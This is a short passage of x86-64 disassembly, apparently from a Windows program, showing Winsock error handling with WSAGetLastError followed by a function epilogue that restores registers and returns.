mov dword [rdi], eax
jmp 0x14001a0c6
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x14001a0c6
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret